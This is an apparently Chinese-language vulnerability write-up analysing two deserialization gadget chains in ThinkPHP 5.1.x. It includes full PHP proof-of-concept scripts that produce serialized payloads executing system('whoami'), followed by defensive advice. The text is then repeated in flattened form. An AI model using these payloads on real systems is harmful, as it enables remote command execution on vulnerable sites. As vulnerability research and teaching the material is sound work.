Thinkphp5.1.x 反序列利用链条分析
字数 1294 2025-08-29 08:31:35

ThinkPHP5.1.x 反序列化利用链分析

环境与触发条件

  • 环境: ThinkPHP5.1.38 + PHP7.3.4
  • 触发条件: 通过__destruct__wakeup魔术方法触发

测试代码

// 测试代码通常是一个反序列化入口点
unserialize($_GET['data']);

利用链分析

利用链一

漏洞起点

think\process\pipes\Windows.php中的__destruct方法触发removeFiles方法

public function __destruct()
{
    $this->removeFiles();
}

关键步骤

  1. removeFiles方法:

    • 调用file_exists()函数处理传入参数
    • file_exists会将参数当作字符串处理,触发__toString魔术方法
  2. __toString方法:

    • 位于think\model\concern\Conversion.php
    • 调用toJson方法,进而调用toArray方法
  3. toArray方法:

    • 寻找可控变量->方法(可控变量)模式触发__call魔术方法
    • 关键代码:$relation->visible($name)
    • 需要满足:
      • $this->append不为空(可控)
      • $name不为空且不在$this->relation
  4. getAttr方法:

    • 位于think\model\concern\Attribute.php
    • 调用getData方法,返回$this->data[$name](两者均可控)
  5. __call方法:

    • 位于think\Request.php
    • $method$this->hook中时触发call_user_func_array
    • 参数部分可控
  6. RCE触发:

    • 通过isAjax->param->input调用链
    • input方法中的filterValue使用call_user_func导致命令执行
    • 关键参数:
      • $this->filter可控(过滤函数)
      • $this->param可控(命令参数)

完整POP链

think\process\pipes\Windows->__destruct()
-> think\process\pipes\Windows->__removeFiles()
-> file_exists()
-> think\model\Pivot->_toString()
-> think\model\Pivot->_toJson()
-> think\model\Pivot->_toArray()
-> think\Request->visible()
-> think\Request->__call
-> call_user_func_array()
-> think\Request->isAjax()
-> think\Request->param()
-> think\Request->input()
-> array_walk_recursive()
-> think\Request->filterValue()
-> call_user_func()

POC代码

<?php
namespace think{
    class Request {
        protected $hook = [];
        protected $config = [];
        protected $filter;
        protected $param = [];
        public function __construct(){
            $this->filter = 'system';
            $this->param = ['whoami'];
            $this->hook = ['visible'=>[$this,'isAjax']];
            $this->config = ['var_ajax'=>''];
        }
    }
    abstract class Model{
        protected $append = [];
        private $data = [];
        function __construct() {
            $this->append = ['eas' => ['eas']];
            $this->data = ['eas' => new Request()];
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{}
}
namespace think\process\pipes{
    use think\model\Pivot;
    class Pipes{}
    class Windows extends Pipes{
        private $files = [];
        function __construct(){
            $this->files = [new Pivot()];
        }
    }
}
namespace{
    echo base64_encode(serialize(new think\process\pipes\Windows()));
}
?>

利用链二

漏洞点

think\model\concern\Attribute中的getAttr方法:

protected function getAttr($name)
{
    $value = $this->getData($name);
    if (isset($this->withAttr[$fieldName])) {
        $closure = $this->withAttr[$fieldName];
        $value   = $closure($value, $this->data);
    }
    return $value;
}

关键步骤

  1. 参数控制:

    • $valuegetData方法返回值决定(可控)
    • $closure$this->withAttr[$fieldName]赋值(可控)
    • $fieldNameLoader::parseName($name)决定(可控)
  2. 函数调用:

    • 直接执行$closure($value, $this->data)
    • 可构造为任意函数调用

完整POP链

think\process\pipes\Windows->__destruct()
-> think\process\pipes\Windows->__removeFiles()
-> file_exists()
-> think\model\Pivot->_toString()
-> think\model\Pivot->_toJson()
-> think\model\Pivot->_toArray()
-> think\model\Pivot->getAttr()
-> $closure($value, $this->data)

POC代码

<?php
namespace think{
    abstract class Model{
        private $data = [];
        private $withAttr = [];
        function __construct() {
            $this->withAttr = ['system' => 'system'];
            $this->data = ['system' => 'whoami'];
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{}
}
namespace think\process\pipes{
    use think\model\Pivot;
    class Pipes{}
    class Windows extends Pipes{
        private $files = [];
        function __construct(){
            $this->files = [new Pivot()];
        }
    }
}
namespace{
    echo base64_encode(serialize(new think\process\pipes\Windows()));
}
?>

总结

  1. 挖掘方法:

    • 正向挖掘:从__destruct开始分析
    • 逆向挖掘:从危险函数(如call_user_func)回溯
  2. 关键点:

    • 魔术方法的触发时机和条件
    • 参数的可控性分析
    • 类之间的继承和组合关系
  3. 防御建议:

    • 及时更新框架版本
    • 避免反序列化用户可控数据
    • 使用白名单限制反序列化类
  4. 学习价值:

    • 理解PHP反序列化漏洞的利用方式
    • 学习复杂调用链的分析方法
    • 掌握ThinkPHP框架的内部工作机制
ThinkPHP5.1.x 反序列化利用链分析 环境与触发条件 环境 : ThinkPHP5.1.38 + PHP7.3.4 触发条件 : 通过 __destruct 或 __wakeup 魔术方法触发 测试代码 利用链分析 利用链一 漏洞起点 think\process\pipes\Windows.php 中的 __destruct 方法触发 removeFiles 方法 关键步骤 removeFiles 方法 : 调用 file_exists() 函数处理传入参数 file_exists 会将参数当作字符串处理,触发 __toString 魔术方法 __toString 方法 : 位于 think\model\concern\Conversion.php 调用 toJson 方法,进而调用 toArray 方法 toArray 方法 : 寻找 可控变量->方法(可控变量) 模式触发 __call 魔术方法 关键代码: $relation->visible($name) 需要满足: $this->append 不为空(可控) $name 不为空且不在 $this->relation 中 getAttr 方法 : 位于 think\model\concern\Attribute.php 调用 getData 方法,返回 $this->data[$name] (两者均可控) __call 方法 : 位于 think\Request.php 当 $method 在 $this->hook 中时触发 call_user_func_array 参数部分可控 RCE触发 : 通过 isAjax -> param -> input 调用链 input 方法中的 filterValue 使用 call_user_func 导致命令执行 关键参数: $this->filter 可控(过滤函数) $this->param 可控(命令参数) 完整POP链 POC代码 利用链二 漏洞点 think\model\concern\Attribute 中的 getAttr 方法: 关键步骤 参数控制 : $value 由 getData 方法返回值决定(可控) $closure 由 $this->withAttr[$fieldName] 赋值(可控) $fieldName 由 Loader::parseName($name) 决定(可控) 函数调用 : 直接执行 $closure($value, $this->data) 可构造为任意函数调用 完整POP链 POC代码 总结 挖掘方法 : 正向挖掘:从 __destruct 开始分析 逆向挖掘:从危险函数(如 call_user_func )回溯 关键点 : 魔术方法的触发时机和条件 参数的可控性分析 类之间的继承和组合关系 防御建议 : 及时更新框架版本 避免反序列化用户可控数据 使用白名单限制反序列化类 学习价值 : 理解PHP反序列化漏洞的利用方式 学习复杂调用链的分析方法 掌握ThinkPHP框架的内部工作机制